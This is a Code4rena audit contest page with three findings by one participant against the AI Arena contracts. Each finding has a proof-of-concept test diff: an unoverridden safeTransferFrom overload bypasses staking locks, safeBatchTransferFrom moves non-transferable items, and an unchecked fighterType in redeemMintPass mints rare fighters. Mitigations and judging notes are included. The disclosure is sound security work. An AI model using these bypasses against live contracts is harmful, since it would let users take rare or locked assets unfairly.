Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 223/283
Findings: 3
Award: $1.37
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175-L183
There is a check added to transferFrom and safeTransferFrom to prevent users from transferring staked fighters or having more than 10 fighters per address. However the ERC721 contract that FighterFarm inherits has 2 safeTransferFrom functions and only 1 of them is overridden. Users can call safeTransferFrom(from, do, tokenId, someData) to call the one without the check and transfer a token without triggering the ableToTransfer check.
Modify the testTransferringFighterWhileStakedFails test case below and see that the test now fails as the transfer succeeds without reverting as it should.
function testTransferringFighterWhileStakedFails() public { _mintFromMergingPool(_ownerAddress); _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); // check that i'm unable to transfer since i staked vm.expectRevert(); - _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); + _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "Some Data"); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); }
Manual Review
Add another safeTransferFrom function with a data argument in FighterFarm with the ableToTransfer check.
Access Control
#0 - c4-pre-sort
2024-02-23T05:16:10Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:16:27Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:09:27Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-11T02:46:15Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
GameItems.sol#L301](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L301 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146
Items with the ItemAttributes.transferable set to false should not be able to be transferred between users. However the inherited contract ERC1155.sol includes a public safeBatchTransferFrom function that has not been overridden. As a result there is no require(allGameItemAttributes[tokenId].transferable) check and users can use it to transfer items that should be restricted.
Add the Following lines to the testUniqueTokensOutstanding test case. (I used this as it has created the gloves which are a non transferable item) The test shows that while a normal safeTransferFrom fails a user can use safeBatchTransferFrom to transfer the item.
function testUniqueTokensOutstanding() public { assertEq(_gameItemsContract.uniqueTokensOutstanding(), 1); _gameItemsContract.createGameItem( "Gloves", "https://ipfs.io/ipfs/gloves", false, false, 10_000, 1 * 10 ** 18, 10 ); (string memory name,,,,,) = _gameItemsContract.allGameItemAttributes(1); assertEq(name, "Gloves"); assertEq(_gameItemsContract.remainingSupply(1), 10_000); assertEq(_gameItemsContract.uniqueTokensOutstanding(), 2); + _fundUserWith4kNeuronByTreasury(_ownerAddress); + _gameItemsContract.mint(1, 1); + uint256[] memory amounts = new uint256[](1); + amounts[0] = 1; + vm.expectRevert(); + _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 1, ""); // @audit normal transfer fails as expected + // @audit gloves are non transferable so this should revert + _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, amounts, amounts, ""); + assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 1), 1); // @audit however transfer succeeds and _DELEGATED_ADDRESS now has 1 gloves item. } ## Tools Used Manual Review ## Recommended Mitigation Steps Add a safeBatchTransferFrom to the GameItems contract that includes the require(allGameItemAttributes[tokenId].transferable) check. ## Assessed type Access Control
#0 - c4-pre-sort
2024-02-22T04:09:39Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:09:45Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:52Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:47:39Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-05T04:55:34Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AAMintPass.sol#L109-L133
When redeeming a mint pass in FighterFarm#redeemMintPass() the fighter type is not validated allowing a user who claimed a normal fighter mint pass to input a fighterType of 1 and mint a dendroid fighter. As a result Dendroid fighters will become far less rare than intended and any users who did not exploit this will be at a disadvantage.
Modify the testRedeemMintPass test case as shown below to see how a user is given a regular fighter mintpass but is able to create a dendroid fighter instead.
function testRedeemMintPass() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; - _fighterTypes[0] = 0; + _fighterTypes[0] = 1; // @audit user can input fighterType of 1 when calling redeemMintPass _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); // check balance to see if we successfully redeemed the mintpass for a fighter assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // check balance to see if the mintpass was burned assertEq(_mintPassContract.balanceOf(_ownerAddress), 0); }
Manual Review
As AAMintPass has already been deployed and can not be modified I recommend adding another variable to FighterFarm that keeps track of mintpasses used for each fighter.
// Mapping that returns how many passes an address has redeemed already mapping(address => mapping(uint8 => uint8)) public passesRedeemed;
And then check that that value does not exceed AAMintPass#passesClaimed[] for each fighter at the end of FighterFarm#redeemMintPass().
passesRedeemed[msg.sender][fighterType]++ require(passesRedeemed[msg.sender][fighterType] <= _mintpassInstance.passesClaimed[msg.sender][fighterType])
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:51:59Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:52:07Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:35Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-06T03:12:27Z
HickupHH3 marked the issue as satisfactory